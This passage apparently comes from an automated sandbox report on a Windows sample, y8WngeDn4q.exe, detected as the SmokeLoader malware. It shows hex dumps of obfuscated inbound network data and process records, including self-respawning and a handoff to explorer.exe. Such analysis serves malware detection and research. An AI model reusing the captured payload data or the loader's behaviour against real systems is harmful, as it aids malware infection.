78 20 4f 78 74 Data Ascii: Q x RR x YO x RY x to x tt x RY x tE x RY x RR x tQ x RY x tx x kO x RY x tE x RY x RY x Kk x RY x Rt x Yo x RY x tt x RY x RY x OxE x RY x tx x tt x RY x kY x RY x RY x KQ x RY x tx x RR x RR x Rk x RY x RR x kk x RY x tO x Oxt x RY x Qk x OxE x RR x Oxt
2021-10-29 15:55:36 UTC	2825	IN	Data Raw: 74 78 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 51 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4b 6b 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 6b 20 78 20 6b 4f 20 78 20 52 52 20 78 20 52 6b 20 78 20 52 59 20 78 20 74 6f 20 78 20 74 45 20 78 20 52 59 20 78 20 51 78 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 78 4b 20 78 20 52 59 20 78 20 74 6f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 51 74 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 4f 6b 20 78 20 52 59 20 78 20 74 4f 20 78 20 59 6f 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 59 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 51 6b 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 74 20 78 Data Ascii: tx x RY x RY x kQ x kO x RR x Kk x RY x tO x OxE x RY x Rk x kO x RR x Rk x RY x to x tE x RY x Qx x kO x RR x OxK x RY x to x kO x RY x Qt x kO x RR x OOk x RY x tO x Yo x RY x tE x RY x RR x kY x RY x tO x Oxt x RY x Qk x kO x RR x Oxk x RY x RY x Oxt x
2021-10-29 15:55:36 UTC	2829	IN	Data Raw: 78 20 52 59 20 78 20 74 51 20 78 20 52 59 20 78 20 52 59 20 78 20 74 74 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 6b 45 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 4f 74 20 78 20 52 59 20 78 20 74 6f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 51 78 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 6f 4f 20 78 20 52 59 20 78 20 74 4f 20 78 20 59 6f 20 78 20 52 59 20 78 20 6b 51 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 4f 59 20 78 20 52 59 20 78 20 52 51 20 78 20 59 6f 20 78 20 52 59 20 78 20 6b 51 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 4f 52 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 52 52 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 4f 78 78 20 Data Ascii: x RY x tQ x RY x RY x tt x RY x RY x RQ x RY x kE x kO x RR x OOt x RY x to x kO x RY x Qx x kO x RR x OoO x RY x tO x Yo x RY x kQ x kO x RR x OOY x RY x RQ x Yo x RY x kQ x kO x RR x OOR x RY x tO x kY x RY x RY x RY x RR x RR x RY x tO x kO x RY x Oxx
2021-10-29 15:55:36 UTC	2833	IN	Data Raw: 20 59 4f 20 78 20 4f 78 78 20 78 20 4f 6f 6f 20 78 20 74 52 20 78 20 4f 78 74 20 78 20 74 6b 20 78 20 4f 4f 6b 20 78 20 51 6b 20 78 20 6b 74 20 78 20 4b 51 20 78 20 4f 4f 6b 20 78 20 51 6b 20 78 20 4f 78 59 20 78 20 4b 51 20 78 20 52 6b 20 78 20 51 6b 20 78 20 59 78 20 78 20 59 45 20 78 20 4b 6b 20 78 20 51 51 20 78 20 4f 78 51 20 78 20 59 74 20 78 20 4f 4f 59 20 78 20 51 51 20 78 20 4f 6f 4f 20 78 20 74 45 20 78 20 4f 78 45 20 78 20 4f 78 78 20 78 20 4f 78 51 20 78 20 6b 52 20 78 20 4f 6f 4f 20 78 20 51 51 20 78 20 59 78 20 78 20 4f 78 6b 20 78 20 4f 4f 6b 20 78 20 51 6b 20 78 20 4f 78 52 20 78 20 4b 6b 20 78 20 4f 78 59 20 78 20 74 6b 20 78 20 4f 78 59 20 78 20 59 6f 20 78 20 4f 4f 51 20 78 20 74 52 20 78 20 4f 78 52 20 78 20 52 59 20 78 20 4f 4f 74 20 Data Ascii: YO x Oxx x Ooo x tR x Oxt x tk x OOk x Qk x kt x KQ x OOk x Qk x OxY x KQ x Rk x Qk x Yx x YE x Kk x QQ x OxQ x Yt x OOY x QQ x OoO x tE x OxE x Oxx x OxQ x kR x OoO x QQ x Yx x Oxk x OOk x Qk x OxR x Kk x OxY x tk x OxY x Yo x OOQ x tR x OxR x RY x OOt
2021-10-29 15:55:36 UTC	2837	IN	Data Raw: 51 20 78 20 74 4f 20 78 20 59 74 20 78 20 4f 6f 4f 20 78 20 4f 78 78 20 78 20 74 4f 20 78 20 6b 52 20 78 20 4f 78 74 20 78 20 6b 4b 20 78 20 4b 51 20 78 20 74 74 20 78 20 4b 45 20 78 20 52 6b 20 78 20 6b 4f 20 78 20 4f 4f 4f 20 78 20 74 4b 20 78 20 52 74 20 78 20 6b 4f 20 78 20 4b 6b 20 78 20 74 59 20 78 20 52 74 20 78 20 6b 4f 20 78 20 4f 78 74 20 78 20 59 52 20 78 20 51 51 20 78 20 59 4f 20 78 20 6b 52 20 78 20 4f 4f 51 20 78 20 51 51 20 78 20 74 4f 20 78 20 59 74 20 78 20 4f 6f 4f 20 78 20 4f 78 78 20 78 20 74 4f 20 78 20 6b 52 20 78 20 4f 78 74 20 78 20 6b 4b 20 78 20 4b 51 20 78 20 74 74 20 78 20 4f 78 45 20 78 20 6b 45 20 78 20 6b 74 20 78 20 6b 4f 20 78 20 59 74 20 78 20 74 45 20 78 20 4f 4f 78 20 78 20 4f 4f 52 20 78 20 4f 78 6b 20 78 20 74 74 20 Data Ascii: Q x tO x Yt x OoO x Oxx x tO x kR x Oxt x kK x KQ x tt x KE x Rk x kO x OOO x tK x Rt x kO x Kk x tY x Rt x kO x Oxt x YR x QQ x YO x kR x OOQ x QQ x tO x Yt x OoO x Oxx x tO x kR x Oxt x kK x KQ x tt x OxE x kE x kt x kO x Yt x tE x OOx x OOR x Oxk x tt
2021-10-29 15:55:36 UTC	2841	IN	Data Raw: 78 20 4f 4f 51 20 78 20 6b 4b 20 78 20 52 6b 20 78 20 52 59 20 78 20 6b 6b 20 78 20 52 52 20 78 20 4f 78 45 20 78 20 4f 4f 4f 20 78 20 4f 4f 4b 20 78 20 52 52 20 78 20 4f 78 45 20 78 20 52 51 20 78 20 52 51 20 78 20 52 59 20 78 20 6b 51 20 78 20 74 45 20 78 20 59 4f 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 51 20 78 20 6b 78 20 78 20 74 74 20 78 20 52 59 20 78 20 4f 78 74 20 78 20 52 6b 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 74 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 74 59 20 78 20 74 45 20 78 20 52 74 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 51 20 78 20 74 74 20 78 20 6b 4b 20 78 20 52 59 20 78 20 74 6b 20 78 20 52 52 20 78 20 4f 78 45 20 78 20 4f 78 6b 20 78 20 4f 78 45 20 78 20 4f 78 4b 20 78 20 4f 78 74 20 78 20 4f 78 45 Data Ascii: x OOQ x kK x Rk x RY x kk x RR x OxE x OOO x OOK x RR x OxE x RQ x RQ x RY x kQ x tE x YO x RY x OxE x RQ x kx x tt x RY x Oxt x Rk x RY x kO x Rt x OxE x RR x tY x tE x Rt x OxE x RY x RY x OOQ x tt x kK x RY x tk x RR x OxE x Oxk x OxE x OxK x Oxt x OxE
2021-10-29 15:55:36 UTC	2846	IN	Data Raw: 74 20 78 20 59 4b 20 78 20 6b 4f 20 78 20 6b 6b 20 78 20 4f 78 59 20 78 20 59 45 20 78 20 4f 4f 6b 20 78 20 74 45 20 78 20 52 6b 20 78 20 6b 78 20 78 20 6b 59 20 78 20 4f 78 78 20 78 20 51 6b 20 78 20 4f 78 45 20 78 20 4f 78 74 20 78 20 59 78 20 78 20 4f 4f 74 20 78 20 4f 6f 4f 20 78 20 51 51 20 78 20 74 6f 20 78 20 6b 4f 20 78 20 4f 78 6f 20 78 20 4f 78 74 20 78 20 59 4b 20 78 20 4b 6b 20 78 20 4f 78 6f 20 78 20 74 78 20 78 20 74 51 20 78 20 6b 4f 20 78 20 6b 51 20 78 20 59 52 20 78 20 59 52 20 78 20 4f 6f 6f 20 78 20 4f 4f 78 20 78 20 6b 6b 20 78 20 59 78 20 78 20 74 51 20 78 20 4f 78 59 20 78 20 74 6f 20 78 20 6b 52 20 78 20 59 4f 20 78 20 4f 4f 51 20 78 20 4f 4f 52 20 78 20 6b 45 20 78 20 59 74 20 78 20 4f 4f 4b 20 78 20 4f 78 6b 20 78 20 74 78 20 78 Data Ascii: t x YK x kO x kk x OxY x YE x OOk x tE x Rk x kx x kY x Oxx x Qk x OxE x Oxt x Yx x OOt x OoO x QQ x to x kO x Oxo x Oxt x YK x Kk x Oxo x tx x tQ x kO x kQ x YR x YR x Ooo x OOx x kk x Yx x tQ x OxY x to x kR x YO x OOQ x OOR x kE x Yt x OOK x Oxk x tx x
2021-10-29 15:55:36 UTC	2850	IN	Data Raw: 20 78 20 4f 4f 6b 20 78 20 4f 4f 59 20 78 20 52 59 20 78 20 4f 4f 6b 20 78 20 4f 6f 78 20 78 20 52 6b 20 78 20 4f 6f 6f 20 78 20 74 4f 20 78 20 52 6b 20 78 20 74 74 20 78 20 74 45 20 78 20 6b 6f 20 78 20 51 6b 20 78 20 59 45 20 78 20 59 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 4b 20 78 20 4f 4f 4b 20 78 20 51 78 20 78 20 6b 6b 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 6f 78 20 78 20 51 78 20 78 20 51 74 20 78 20 4f 78 59 20 78 20 59 4b 20 78 20 4f 4f 51 20 78 20 4f 4f 51 20 78 20 6b 4f 20 78 20 4f 4f 78 20 78 20 4f 78 52 20 78 20 4b 6b 20 78 20 6b 6f 20 78 20 6b 6f 20 78 20 4f 4f 6f 20 78 20 51 74 20 78 20 74 45 20 78 20 4f 78 6b 20 78 20 52 51 20 78 20 59 45 20 78 20 74 74 20 78 20 51 51 20 78 20 52 52 20 78 20 4f 4f 78 20 78 20 Data Ascii: x OOk x OOY x RY x OOk x Oox x Rk x Ooo x tO x Rk x tt x tE x ko x Qk x YE x YO x RY x RY x OxK x OOK x Qx x kk x Oxt x RY x RY x Oox x Qx x Qt x OxY x YK x OOQ x OOQ x kO x OOx x OxR x Kk x ko x ko x OOo x Qt x tE x Oxk x RQ x YE x tt x QQ x RR x OOx x
2021-10-29 15:55:36 UTC	2854	IN	Data Raw: 20 78 20 6b 4f 20 78 20 74 45 20 78 20 51 78 20 78 20 6b 59 20 78 20 6b 6f 20 78 20 4f 4f 78 20 78 20 6b 4f 20 78 20 4f 6f 78 20 78 20 6b 51 20 78 20 4f 4f 59 20 78 20 6b 59 20 78 20 6b 4f 20 78 20 59 59 20 78 20 51 6b 20 78 20 74 59 20 78 20 74 6f 20 78 20 74 4b 20 78 20 59 4b 20 78 20 51 74 20 78 20 51 78 20 78 20 4f 6f 4f 20 78 20 59 45 20 78 20 6b 59 20 78 20 4f 4f 51 20 78 20 4f 4f 51 20 78 20 74 78 20 78 20 51 6b 20 78 20 4b 51 20 78 20 4f 4f 6f 20 78 20 74 6f 20 78 20 6b 6b 20 78 20 74 4f 20 78 20 4f 4f 45 20 78 20 6b 4f 20 78 20 59 45 20 78 20 6b 4f 20 78 20 6b 51 20 78 20 4f 4f 45 20 78 20 6b 52 20 78 20 6b 6f 20 78 20 4f 78 74 20 78 20 6b 6f 20 78 20 52 52 20 78 20 4f 4f 45 20 78 20 59 6f 20 78 20 52 51 20 78 20 4f 4f 52 20 78 20 4f 78 59 20 78 Data Ascii: x kO x tE x Qx x kY x ko x OOx x kO x Oox x kQ x OOY x kY x kO x YY x Qk x tY x to x tK x YK x Qt x Qx x OoO x YE x kY x OOQ x OOQ x tx x Qk x KQ x OOo x to x kk x tO x OOE x kO x YE x kO x kQ x OOE x kR x ko x Oxt x ko x RR x OOE x Yo x RQ x OOR x OxY x
2021-10-29 15:55:36 UTC	2857	IN	Data Raw: 4f 20 78 20 6b 59 20 78 20 74 6b 20 78 20 4f 78 6b 20 78 20 51 51 20 78 20 4f 4f 78 20 78 20 6b 6f 20 78 20 4f 4f 6f 20 78 20 51 78 20 78 20 4f 78 51 20 78 20 4f 78 6b 20 78 20 4f 78 52 20 78 20 6b 51 20 78 20 6b 6b 20 78 20 6b 6f 20 78 20 4f 4f 6f 20 78 20 51 6b 20 78 20 59 78 20 78 20 59 45 20 78 20 52 52 20 78 20 4f 78 78 20 78 20 6b 6b 20 78 20 6b 6f 20 78 20 4f 4f 4f 20 78 20 51 6b 20 78 20 59 4f 20 78 20 74 4b 20 78 20 4f 4f 6f 20 78 20 4f 78 78 20 78 20 74 6f 20 78 20 4f 78 74 20 78 20 4f 4f 74 20 78 20 6b 51 20 78 20 59 4f 20 78 20 74 4b 20 78 20 4f 4f 59 20 78 20 74 74 20 78 20 74 6f 20 78 20 6b 51 20 78 20 74 4f 20 78 20 52 74 20 78 20 52 74 20 78 20 4f 4f 59 20 78 20 74 4f 20 78 20 52 59 20 78 20 6b 4f 20 78 20 6b 59 20 78 20 74 78 20 78 20 52 Data Ascii: O x kY x tk x Oxk x QQ x OOx x ko x OOo x Qx x OxQ x Oxk x OxR x kQ x kk x ko x OOo x Qk x Yx x YE x RR x Oxx x kk x ko x OOO x Qk x YO x tK x OOo x Oxx x to x Oxt x OOt x kQ x YO x tK x OOY x tt x to x kQ x tO x Rt x Rt x OOY x tO x RY x kO x kY x tx x R
2021-10-29 15:55:36 UTC	2868	IN	Data Raw: 20 78 20 52 74 20 78 20 52 51 20 78 20 52 6b 20 78 20 4b 6b 20 78 20 51 74 20 78 20 74 6b 20 78 20 6b 6b 20 78 20 74 45 20 78 20 4f 4f 51 20 78 20 74 78 20 78 20 6b 51 20 78 20 74 4b 20 78 20 4f 78 52 20 78 20 74 74 20 78 20 74 6b 20 78 20 52 59 20 78 20 6b 4b 20 78 20 51 51 20 78 20 6b 6b 20 78 20 59 4b 20 78 20 52 74 20 78 20 6b 4f 20 78 20 6b 4f 20 78 20 4f 78 45 20 78 20 4f 4f 51 20 78 20 52 6b 20 78 20 6b 4f 20 78 20 6b 51 20 78 20 74 4b 20 78 20 74 59 20 78 20 4f 4f 4f 20 78 20 51 78 20 78 20 74 45 20 78 20 4f 78 4b 20 78 20 4f 4f 6b 20 78 20 51 51 20 78 20 74 6b 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 51 20 78 20 74 74 20 78 20 52 52 20 78 20 6b 4f 20 78 20 52 59 20 78 20 4f 4f 51 20 78 20 4f 78 6f 20 78 20 6b 4b 20 78 20 52 51 20 78 20 74 52 20 Data Ascii: x Rt x RQ x Rk x Kk x Qt x tk x kk x tE x OOQ x tx x kQ x tK x OxR x tt x tk x RY x kK x QQ x kk x YK x Rt x kO x kO x OxE x OOQ x Rk x kO x kQ x tK x tY x OOO x Qx x tE x OxK x OOk x QQ x tk x RY x kO x RQ x tt x RR x kO x RY x OOQ x Oxo x kK x RQ x tR
2021-10-29 15:55:36 UTC	2873	IN	Data Raw: 6b 20 78 20 4f 6f 4f 20 78 20 74 6f 20 78 20 74 51 20 78 20 74 6f 20 78 20 51 74 20 78 20 4f 6f 4f 20 78 20 4f 78 51 20 78 20 59 59 20 78 20 4f 4f 4b 20 78 20 59 52 20 78 20 4f 4f 51 20 78 20 4b 74 20 78 20 4f 4f 59 20 78 20 4f 78 4f 20 78 20 6b 52 20 78 20 4f 4f 74 20 78 20 59 59 20 78 20 74 4b 20 78 20 59 45 20 78 20 59 59 20 78 20 4f 4f 4f 20 78 20 74 6f 20 78 20 4f 4f 6b 20 78 20 59 6f 20 78 20 4f 4f 6b 20 78 20 59 52 20 78 20 4f 4f 4b 20 78 20 4f 4f 52 20 78 20 4b 74 20 78 20 59 4b 20 78 20 4f 78 4f 20 78 20 6b 6b 20 78 20 6b 4f 20 78 20 51 78 20 78 20 4b 45 20 78 20 4f 4f 74 20 78 20 59 6f 20 78 20 52 6b 20 78 20 6b 6b 20 78 20 4f 6f 4f 20 78 20 4f 78 74 20 78 20 74 59 20 78 20 4b 51 20 78 20 4f 78 74 20 78 20 52 6b 20 78 20 4f 78 59 20 78 20 59 45 Data Ascii: k x OoO x to x tQ x to x Qt x OoO x OxQ x YY x OOK x YR x OOQ x Kt x OOY x OxO x kR x OOt x YY x tK x YE x YY x OOO x to x OOk x Yo x OOk x YR x OOK x OOR x Kt x YK x OxO x kk x kO x Qx x KE x OOt x Yo x Rk x kk x OoO x Oxt x tY x KQ x Oxt x Rk x OxY x YE
2021-10-29 15:55:36 UTC	2889	IN	Data Raw: 74 6b 20 78 20 4f 4f 51 20 78 20 74 52 20 78 20 4f 4f 78 20 78 20 6b 52 20 78 20 4f 6f 6f 20 78 20 51 78 20 78 20 6b 6b 20 78 20 74 4b 20 78 20 4b 6b 20 78 20 51 51 20 78 20 4f 4f 78 20 78 20 6b 52 20 78 20 4f 6f 6f 20 78 20 4f 78 78 20 78 20 52 74 20 78 20 59 45 20 78 20 4f 78 52 20 78 20 51 6b 20 78 20 59 78 20 78 20 4b 6b 20 78 20 4f 4f 51 20 78 20 52 6b 20 78 20 6b 4f 20 78 20 6b 51 20 78 20 74 4b 20 78 20 74 59 20 78 20 4f 4f 4f 20 78 20 51 78 20 78 20 74 45 20 78 20 4f 78 4b 20 78 20 4f 4f 6b 20 78 20 51 51 20 78 20 74 6b 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 51 20 78 20 74 74 20 78 20 52 52 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 6b 20 78 20 4f 78 45 20 78 20 4f 78 45 20 78 20 74 45 20 78 20 52 52 20 78 20 52 59 20 78 20 74 4f 20 78 20 4b 51 Data Ascii: tk x OOQ x tR x OOx x kR x Ooo x Qx x kk x tK x Kk x QQ x OOx x kR x Ooo x Oxx x Rt x YE x OxR x Qk x Yx x Kk x OOQ x Rk x kO x kQ x tK x tY x OOO x Qx x tE x OxK x OOk x QQ x tk x RY x kO x RQ x tt x RR x kO x RY x Rk x OxE x OxE x tE x RR x RY x tO x KQ
2021-10-29 15:55:36 UTC	2900	IN	Data Raw: 6b 20 78 20 51 6b 20 78 20 74 6b 20 78 20 4f 4f 52 20 78 20 4f 4f 6f 20 78 20 4f 78 6b 20 78 20 4b 74 20 78 20 74 59 20 78 20 4f 4f 4f 20 78 20 74 74 20 78 20 4f 4f 4f 20 78 20 6b 52 20 78 20 74 59 20 78 20 74 6b 20 78 20 74 59 20 78 20 4b 45 20 78 20 52 6b 20 78 20 4f 78 59 20 78 20 4f 6f 78 20 78 20 4f 78 6b 20 78 20 51 51 20 78 20 51 78 20 78 20 4f 78 78 20 78 20 4f 4f 52 20 78 20 74 6b 20 78 20 51 78 20 78 20 6b 6f 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 4f 20 78 20 52 4f 20 78 20 78 20 51 20 4b 52 20 78 20 4f 78 4f 20 78 20 4f 6f 78 20 78 20 4f 78 4f 20 78 20 78 20 4f 45 20 4f 6f 45 20 78 20 4b 6b 20 78 20 4f 6f 59 20 78 20 4f 6f 45 20 78 20 Data Ascii: k x Qk x tk x OOR x OOo x Oxk x Kt x tY x OOO x tt x OOO x kR x tY x tk x tY x KE x Rk x OxY x Oox x Oxk x QQ x Qx x Oxx x OOR x tk x Qx x ko x OOQ x RY x RY x RY x RY x RY x RY x RY x RY x RO x RO x x Q KR x OxO x Oox x OxO x x OE OoE x Kk x OoY x OoE x
2021-10-29 15:55:36 UTC	2916	IN	Data Raw: 78 20 4f 4f 4b 20 78 20 45 74 20 78 20 4f 4f 78 20 78 20 45 74 20 78 20 4f 78 51 20 78 20 4f 4f 59 20 78 20 51 6b 20 78 20 4f 4f 51 20 78 20 4f 6f 78 20 78 20 45 74 20 78 20 4f 78 6f 20 78 20 45 74 20 78 20 4f 78 78 20 78 20 4f 4f 45 20 78 20 4f 4f 4b 20 78 20 4f 78 45 20 78 20 4f 4f 4b 20 78 20 45 74 20 78 20 4f 78 59 20 78 20 45 74 20 78 20 4f 78 59 20 78 20 4f 4f 6b 20 78 20 4f 78 74 20 78 20 4f 4f 45 20 78 20 4f 4f 6f 20 78 20 4f 4f 6b 20 78 20 45 74 20 78 20 4f 78 45 20 78 20 45 74 20 78 20 4f 78 4b 20 78 20 4f 4f 59 20 78 20 4f 78 6b 20 78 20 4f 78 59 20 78 20 4f 4f 59 20 78 20 4f 4f 6b 20 78 20 4f 78 74 20 78 20 4f 4f 52 20 78 20 4f 4f 6b 20 78 20 4f 4f 4f 20 78 20 4f 78 6f 20 78 20 45 74 20 78 20 45 6f 20 78 20 45 74 20 78 20 51 51 20 78 20 4f 78 Data Ascii: x OOK x Et x OOx x Et x OxQ x OOY x Qk x OOQ x Oox x Et x Oxo x Et x Oxx x OOE x OOK x OxE x OOK x Et x OxY x Et x OxY x OOk x Oxt x OOE x OOo x OOk x Et x OxE x Et x OxK x OOY x Oxk x OxY x OOY x OOk x Oxt x OOR x OOk x OOO x Oxo x Et x Eo x Et x QQ x Ox
2021-10-29 15:55:36 UTC	2932	IN	Data Raw: 4f 45 20 78 20 4f 4f 4f 20 78 20 4f 4f 6f 20 78 20 4f 6f 78 20 78 20 4f 4f 45 20 78 20 4f 4f 59 20 78 20 4f 78 45 20 78 20 4f 6f 78 20 78 20 4f 6f 6f 20 78 20 4f 6f 78 20 78 20 51 74 20 78 20 4f 4f 52 20 78 20 4f 78 45 20 78 20 45 74 20 78 20 4f 4f 52 20 78 20 45 74 20 78 20 4f 78 6b 20 78 20 4f 4f 59 20 78 20 51 51 20 78 20 4f 78 45 20 78 20 4f 78 78 20 78 20 4f 4f 52 20 78 20 4f 4f 51 20 78 20 4f 4f 4f 20 78 20 4f 78 59 20 78 20 51 6b 20 78 20 4f 4f 6f 20 78 20 4f 4f 45 20 78 20 4f 4f 59 20 78 20 45 74 20 78 20 51 74 20 78 20 45 74 20 78 20 4f 4f 51 20 78 20 4f 4f 78 20 78 20 4f 6f 6f 20 78 20 4f 4f 6f 20 78 20 4f 78 52 20 78 20 4f 4f 74 20 78 20 51 6b 20 78 20 4f 4f 6b 20 78 20 4f 78 4b 20 78 20 45 74 20 78 20 4f 4f 4b 20 78 20 45 74 20 78 20 4f 78 4f Data Ascii: OE x OOO x OOo x Oox x OOE x OOY x OxE x Oox x Ooo x Oox x Qt x OOR x OxE x Et x OOR x Et x Oxk x OOY x QQ x OxE x Oxx x OOR x OOQ x OOO x OxY x Qk x OOo x OOE x OOY x Et x Qt x Et x OOQ x OOx x Ooo x OOo x OxR x OOt x Qk x OOk x OxK x Et x OOK x Et x OxO
2021-10-29 15:55:36 UTC	2948	IN	Data Raw: 45 20 78 20 4b 6b 20 78 20 4f 6f 59 20 78 20 51 6f 20 78 20 4f 4f 52 20 78 20 4f 78 4f 20 78 20 4f 4f 59 20 78 20 4f 4f 52 20 78 20 4b 52 20 78 20 51 6b 20 78 20 51 74 20 78 20 4f 4f 52 20 78 20 45 4b 20 78 20 45 6f 20 78 20 4b 74 20 78 20 6b 74 20 78 20 4f 78 59 20 78 20 4f 4f 78 20 78 20 4f 78 78 20 78 20 4f 4f 4f 20 78 20 4f 4f 51 20 78 20 6b 45 20 78 20 4f 4f 52 20 78 20 51 74 20 78 20 4f 4f 52 20 78 20 4f 78 4f 20 78 20 45 6f 20 78 20 45 4b 20 78 20 45 4b 20 78 20 4b 6b 20 78 20 45 4b 20 78 20 45 4b 20 78 20 45 6f 20 78 20 4b 74 20 78 20 6b 78 20 78 20 4f 4f 4b 20 78 20 4f 78 59 20 78 20 4f 4f 4f 20 78 20 4f 4f 4b 20 78 20 4f 78 59 20 78 20 4f 4f 52 20 78 20 4f 6f 4f 20 78 20 52 74 20 78 20 4f 78 6b 20 78 20 51 74 20 78 20 4f 4f 59 20 78 20 4f 4f 59 Data Ascii: E x Kk x OoY x Qo x OOR x OxO x OOY x OOR x KR x Qk x Qt x OOR x EK x Eo x Kt x kt x OxY x OOx x Oxx x OOO x OOQ x kE x OOR x Qt x OOR x OxO x Eo x EK x EK x Kk x EK x EK x Eo x Kt x kx x OOK x OxY x OOO x OOK x OxY x OOR x OoO x Rt x Oxk x Qt x OOY x OOY
2021-10-29 15:55:36 UTC	2964	IN	Data Raw: 4f 20 78 20 6b 6f 20 78 20 59 4f 20 78 20 59 78 20 78 20 4b 52 20 78 20 52 51 20 78 20 6b 6b 20 78 20 52 51 20 78 20 45 4b 20 78 20 4b 4b 20 78 20 45 6f 20 78 20 45 4b 20 78 20 6b 78 20 78 20 4f 4f 4b 20 78 20 4f 4f 4f 20 78 20 4f 78 6f 20 78 20 4f 78 59 20 78 20 4f 78 6b 20 78 20 4f 78 4f 20 78 20 74 45 20 78 20 4f 4f 78 20 78 20 4f 4f 59 20 78 20 4f 4f 52 20 78 20 51 74 20 78 20 4f 78 6b 20 78 20 4f 78 6b 20 78 20 6b 78 20 78 20 51 74 20 78 20 4f 4f 52 20 78 20 4f 78 4b 20 78 20 45 4b 20 78 20 4b 4b 20 78 20 45 6f 20 78 20 45 4b 20 78 20 45 74 20 78 20 6b 59 20 78 20 4f 4f 78 20 78 20 4f 78 4f 20 78 20 4f 6f 78 20 78 20 4f 4f 6f 20 78 20 4f 78 4f 20 78 20 51 51 20 78 20 4f 4f 52 20 78 20 4f 78 4f 20 78 20 4f 78 78 20 78 20 52 51 20 78 20 4f 4f 4b 20 78 Data Ascii: O x ko x YO x Yx x KR x RQ x kk x RQ x EK x KK x Eo x EK x kx x OOK x OOO x Oxo x OxY x Oxk x OxO x tE x OOx x OOY x OOR x Qt x Oxk x Oxk x kx x Qt x OOR x OxK x EK x KK x Eo x EK x Et x kY x OOx x OxO x Oox x OOo x OxO x QQ x OOR x OxO x Oxx x RQ x OOK x
2021-10-29 15:55:36 UTC	2980	IN	Data Raw: 78 20 4f 4f 4f 20 78 20 4f 4f 4b 20 78 20 4f 78 4f 20 78 20 6b 6b 20 78 20 4b 52 20 78 20 4f 78 4f 20 78 20 4f 6f 78 20 78 20 4f 78 4f 20 78 20 78 20 78 20 78 20 78 20 59 6f 20 78 20 6b 20 78 20 4f 20 78 20 6b 78 20 78 20 4f 4f 4b 20 78 20 4f 4f 4f 20 78 20 4f 78 78 20 78 20 4f 4f 74 20 78 20 51 51 20 78 20 4f 4f 52 20 78 20 6b 52 20 78 20 4f 78 4f 20 78 20 4f 4f 4b 20 78 20 4f 4f 59 20 78 20 4f 78 59 20 78 20 4f 4f 4f 20 78 20 4f 4f 78 20 78 20 78 20 78 20 4b 6b 20 78 20 4b 52 20 78 20 4b 6b 20 78 20 4b 52 20 78 20 4b 6b 20 78 20 4b 52 20 78 20 4b 6b 20 78 20 78 20 78 20 59 52 20 78 20 6b 20 78 20 4f 20 78 20 52 59 20 78 20 4f 4f 59 20 78 20 4f 4f 59 20 78 20 4f 78 4f 20 78 20 4f 78 51 20 78 20 51 6b 20 78 20 4f 78 6b 20 78 20 4f 6f 4f 20 78 20 45 6f 20 Data Ascii: x OOO x OOK x OxO x kk x KR x OxO x Oox x OxO x x x x x Yo x k x O x kx x OOK x OOO x Oxx x OOt x QQ x OOR x kR x OxO x OOK x OOY x OxY x OOO x OOx x x x Kk x KR x Kk x KR x Kk x KR x Kk x x x YR x k x O x RY x OOY x OOY x OxO x OxQ x Qk x Oxk x OoO x Eo

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: y8WngeDn4q.exe PID: 4892 Parent PID: 6112

General

Start time:	17:54:10
Start date:	29/10/2021
Path:	C:\Users\user\Desktop\y8WngeDn4q.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\y8WngeDn4q.exe'
Imagebase:	0x400000
File size:	347648 bytes
MD5 hash:	2BA5D1028F7BABCA366060BDE97BF482
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: y8WngeDn4q.exe PID: 6372 Parent PID: 4892

General

Start time:	17:54:16
Start date:	29/10/2021
Path:	C:\Users\user\Desktop\y8WngeDn4q.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\y8WngeDn4q.exe'
Imagebase:	0x400000
File size:	347648 bytes
MD5 hash:	2BA5D1028F7BABCA366060BDE97BF482
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000003.00000002.412091703.0000000002091000.00000004.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000003.00000002.411806433.0000000000500000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: explorer.exe PID: 3440 Parent PID: 6372

General

Start time:	17:54:23
Start date:	29/10/2021
